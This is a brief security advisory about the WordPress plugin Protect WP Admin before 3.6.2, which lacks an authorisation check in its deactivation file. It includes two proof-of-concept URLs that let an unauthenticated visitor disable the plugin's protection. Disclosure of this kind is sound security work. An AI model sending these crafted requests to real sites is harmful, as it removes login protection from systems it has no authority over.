Protect WP Admin < 3.6.2 - Unauthenticated Plugin Deactivation

The plugin does not check for authorisation in the lib/pwa-deactivate.php file, which could allow unauthenticated users to disable the plugin (and therefore the protection offered) via a crafted request

v < 3.6 - https:/example.com/wp-content/plugins/protect-wp-admin/lib/pwa-deactivate.php?disable_pwa=1

v < 3.6.2 - https:/example.com/?pwa_inactive=1&[email protected]